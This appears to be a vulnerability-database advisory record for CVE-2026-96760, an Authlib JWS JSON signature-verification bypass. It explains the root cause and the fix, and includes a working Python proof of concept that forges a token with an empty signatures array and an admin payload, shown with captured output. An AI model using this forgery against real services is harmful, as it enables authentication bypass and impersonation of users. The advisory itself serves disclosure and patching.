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Response snapshot Oct 27, 2026, 16:01 UTC

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VulnerabilityCVE-2026-96760

Authlib: empty signatures validation in JWS JSON deserialization

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

Published Updated

At a glance

Exploited
Not known
Severity
9.1 Critical (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: authlib: 1.9.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-6v38-4h7w-rj9h (opens a new tab)

What happened

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

## Root cause

`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:

```python is_valid = True # set before anything is checked for header_obj in obj["signatures"]: # empty array means the body never runs jws_header, valid = self._validate_json_jws(...) if not valid: is_valid = False ... if is_valid: return rv # returns the payload as verified ```

Continue reading

`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined.

## Reproduction

```python import base64 from authlib.jose import JsonWebSignature

def b64(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature() payload = b'{"sub":"attacker","role":"admin"}' forged = {"payload": b64(payload), "signatures": []}

print(jws.deserialize_json(forged, key=None)) ```

Observed on authlib 1.8.0, Python 3.14, clean virtualenv:

``` [A] ATTACK general JSON, signatures:[] , key=None ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [B] ATTACK general JSON, signatures:[] , key= ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [C] CONTROL+ genuine general JSON with 2 signatures, right key ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}' [D] CONTROL- same object, first signature corrupted rejected (expected): BadSignatureError bad_signature: [E] CONTROL- signatures array removed entirely (not empty, absent) rejected: DecodeError Missing "protected" value: ```

[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way.

For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with `BadSignatureError`. The correct behaviour already exists in your newer library.

## Impact

Any relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material.

## What would fix it

In `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag from the signature count, for example `is_valid = len(obj["signatures"]) > 0`. Pull request #938 proposes the same thing.

Affected package ranges reported by GitHub: authlib: <= 1.8.0

Scores and how they were measured

CVSS base severity

9.1

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-6v38-4h7w-rj9h (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-6v38-4h7w-rj9h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). Authlib: empty signatures validation in JWS JSON deserialization (CVE-2026-96760). https://kevwire.com/record/CVE-2026-96760

MLA

"Authlib: empty signatures validation in JWS JSON deserialization (CVE-2026-96760)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2026-96760.

Chicago

KEVWire. "Authlib: empty signatures validation in JWS JSON deserialization (CVE-2026-96760)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2026-96760.

Evidence summary (plain text)

Authlib: empty signatures validation in JWS JSON deserialization (Oct 27, 2026).
Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:
CVSS 9.1 (version 3.1; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-6v38-4h7w-rj9h).
Sources:
GitHub-reviewed advisory GHSA-6v38-4h7w-rj9h: https://github.com/advisories/GHSA-6v38-4h7w-rj9h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-96760.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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